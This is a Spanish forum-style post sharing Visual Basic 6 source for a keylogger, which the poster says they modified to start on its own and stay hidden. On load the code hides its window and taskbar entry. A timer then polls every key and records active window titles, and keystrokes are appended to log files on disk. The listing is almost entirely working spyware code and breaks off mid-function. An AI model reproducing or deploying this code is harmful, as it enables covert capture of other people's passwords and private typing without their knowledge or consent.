Te paso el codigo de uno que consegui por la web y lo modifique para que se ejecute solito y oculto:
'Declaracines Api
'*****************************************************************
'Funciones api para las teclas
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
'Para capturar el Hwnd de la ventana activa
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'Api que obtiene el tama๑o del Caption de la ventana
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
'Api que obtiene el Caption de la ventana
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
'Variable para almacenar las teclas que se van presionando
Dim StrLog As String
'Para el Apth del archivo log
Dim path As String
'Para ejecutar el archivo log desde el bot๓n VerArchivo
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1
Private Const VK_CAPITAL = &H14
'Para el titulo de la ventana activa
Dim strVentanaActiva As String
'Para que inicie a grabar oculto solo'
Private Sub form_load()
Command1_Click
Command5_Click
End Sub
'Ponemos en Play la grabaci๓n de teclas
Private Sub Command1_Click()
Command2.Enabled = True: Command1.Enabled = False
Timer1.Enabled = True
'Ruta del Log
path$ = "C:\log.txt"
Open path For Append As #1
Print #1, vbCrLf
Print #1, ""
Print #1, "Inicio---> Dํa:" & Date & "/Hora: " & Time
Print #1, ""
Print #1, vbCrLf
Close
End Sub
'Pausamos la grabci๓n
Private Sub Command2_Click()
Timer1.Enabled = False
Command2.Enabled = False: Command1.Enabled = True
grabarArchivo
End Sub
'Bot๓n para abrir el archivo Log
Private Sub Command3_Click()
Open "C:\Documents and Settings\User\Escritorio\j\Guardian\kl.txt" For Append As #1
Print #1, StrLog & vbCrLf
Print #1, ""
Print #1, "Fin---> Dํa:" & Date & "/Hora: " & Time
Print #1, ""
Print #1, vbCrLf
Close
Dim Ruta As String
Ruta = "C:\Documents and Settings\User\Escritorio\j\Guardian\kl.txt"
ShellExecute Me.hwnd, vbNullString, Ruta, vbNullString, vbNullString, SW_SHOWNORMAL
'Abrimos el Html Log
End Sub
'Bot๓n para eliminar el Log
Private Sub Command4_Click()
Dim Ruta As String, men As String
If MsgBox("ฟEliminar las capturas?", vbYesNo + vbQuestion, "Elinar archivo") = vbYes Then
Kill "C:\Documents and Settings\User\Escritorio\j\Guardian\kl.txt"
End If
End Sub
Private Sub Command5_Click()
App.TaskVisible = False
Me.Visible = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Open "C:\Documents and Settings\User\Escritorio\j\Guardian\kl.txt" For Append As #1
Print #1, StrLog & vbCrLf
Print #1, ""
Print #1, "Fin---> Dํa:" & Date & "/Hora: " & Time
Print #1, ""
Print #1, vbCrLf
Close
End Sub
Private Sub Label1_Click()
MsgBox "
Juanma_lace@hotmail.com", vbOKOnly, "Juan Manuel Crescente"
End Sub
Private Sub Timer1_Timer()
Dim EstadoTecla As Long
Dim Shift As Long
'Si cambi๓ el tํtulo de la ventana activa
If strVentanaActiva <> ObtenerCaption(GetForegroundWindow) Then
'Llamamos a la funci๓n ObtenerCaption y almacenamos en strVentanaActiva el nuevo titulo
strVentanaActiva = ObtenerCaption(GetForegroundWindow)
StrLog$ = StrLog$ & vbCrLf & vbCrLf & Time & " - Cambio a la ventana: " & strVentanaActiva & vbCrLf & vbCrLf
End If
Shift = GetAsyncKeyState(vbKeyShift)
EstadoTecla = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "a"
End If
EstadoTecla = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "b"
End If
EstadoTecla = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "c"
End If
EstadoTecla = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "D"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "d"
End If
EstadoTecla = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "e"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "f"
End If
EstadoTecla = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "g"
End If
EstadoTecla = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "h"
End If
EstadoTecla = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "i"
End If
EstadoTecla = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "J"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "j"
End If
EstadoTecla = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "k"
End If
EstadoTecla = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "l"
End If
EstadoTecla = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "m"
End If
EstadoTecla = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "n"
End If
EstadoTecla = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "O"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "o"
End If
EstadoTecla = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "p"
End If
EstadoTecla = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "q"
End If
EstadoTecla = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "r"
End If
EstadoTecla = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "s"
End If
EstadoTecla = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "T"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "t"
End If
EstadoTecla = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "u"
End If
EstadoTecla = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "v"
End If
EstadoTecla = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "w"
End If
EstadoTecla = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "x"
End If
EstadoTecla = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "y"
End If
EstadoTecla = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "z"
End If
EstadoTecla = GetAsyncKeyState(vbKey1)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "1"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "!"
End If
EstadoTecla = GetAsyncKeyState(vbKey2)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "2"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "@"
End If
EstadoTecla = GetAsyncKeyState(vbKey3)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "3"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "#"
End If
EstadoTecla = GetAsyncKeyState(vbKey4)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "4"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "$"
End If
EstadoTecla = GetAsyncKeyState(vbKey5)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "5"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "%"
End If
EstadoTecla = GetAsyncKeyState(vbKey6)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "6"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "^"
End If
EstadoTecla = GetAsyncKeyState(vbKey7)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "7"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "&"
End If
EstadoTecla = GetAsyncKeyState(vbKey8)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "8"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "*"
End If
EstadoTecla = GetAsyncKeyState(vbKey9)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "9"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "("
End If
EstadoTecla = GetAsyncKeyState(vbKey0)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "0"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ")"
End If
EstadoTecla = GetAsyncKeyState(vbKeyBack)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{bkspc}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyTab)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{tab}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyReturn)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + vbCrLf
End If
EstadoTecla = GetAsyncKeyState(vbKeyShift)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{shift}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyControl)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{ctrl}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyMenu)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{alt}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPause)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{pause}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyEscape)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{esc}"
End If
EstadoTecla = GetAsyncKeyState(vbKeySpace)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + " "
End If
EstadoTecla = GetAsyncKeyState(vbKeyEnd)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{end}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyHome)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{home}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyLeft)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{left}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyRight)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{right}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyUp)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{up}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDown)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{down}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyInsert)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{insert}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDelete)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Delete}"
End If
EstadoTecla = GetAsyncKeyState(&HBA)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ";"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ":"
End If
EstadoTecla = GetAsyncKeyState(&HBB)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "="
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "+"
End If
EstadoTecla = GetAsyncKeyState(&HBC)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ","
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "<"
End If
EstadoTecla = GetAsyncKeyState(&HBD)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "-"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "_"
End If
EstadoTecla = GetAsyncKeyState(&HBE)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "."
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ">"
End If
EstadoTecla = GetAsyncKeyState(&HBF)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "/"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "?"
End If
EstadoTecla = GetAsyncKeyState(&HC0)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "`"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "~"
End If
EstadoTecla = GetAsyncKeyState(&HDB)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "["
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{"
End If
EstadoTecla = GetAsyncKeyState(&HDC)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "\"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "|"
End If
EstadoTecla = GetAsyncKeyState(&HDD)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "]"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "}"
End If
EstadoTecla = GetAsyncKeyState(&HDE)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "'"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + Chr$(34)
End If
EstadoTecla = GetAsyncKeyState(vbKeyMultiply)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "*"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDivide)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "/"
End If
EstadoTecla = GetAsyncKeyState(vbKeyAdd)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "+"
End If
EstadoTecla = GetAsyncKeyState(vbKeySubtract)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "-"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDecimal)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Del}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF1)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F1}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF2)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F2}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF3)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F3}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF4)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F4}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF5)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F5}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF6)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F6}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF7)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F7}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF8)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F8}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF9)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F9}"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
pass.Visible = True
End If
EstadoTecla = GetAsyncKeyState(vbKeyF10)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F10}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF11)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F11}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF12)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F12}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumlock)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{NumLock}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyScrollLock)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{ScrollLock}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPrint)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{PrintScreen}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPageUp)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{PageUp}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPageDown)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Pagedown}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad1)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "1"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad2)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "2"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad3)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "3"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad4)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "4"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad5)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "5"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad6)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "6"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad7)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "7"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad8)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "8"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad9)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "9"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad0)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "0"
End If
DoEvents
End Sub
'***************************************************************************
'Funci๓n de tipo boolean que determina si estแ presionada la tecla CapsLock
'***************************************************************************
Public Function CAPSLOCKON() As Boolean
Static bOn As Boolean
Static bInit As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
'Esta sub graba los datos de la variable "Texto" en el archivo Log
Private Sub grabarArchivo()
Open path For Append As #1
Print #1, StrLog
'Eliminamos el contenido de StrLog
StrLog = ""
Close
Timer2.Enabled = True
End Sub
'Esta funci๓n devuelve el Caption de la ventana activa y es llamada desde el Timer1
Private Function ObtenerCaption(HandleWin As Long) As String
Dim Buffer As String
Dim TextTam As Long
'Obtenemos el tama๑o del texto
TextTam& = GetWindowTextLength(HandleWin&)
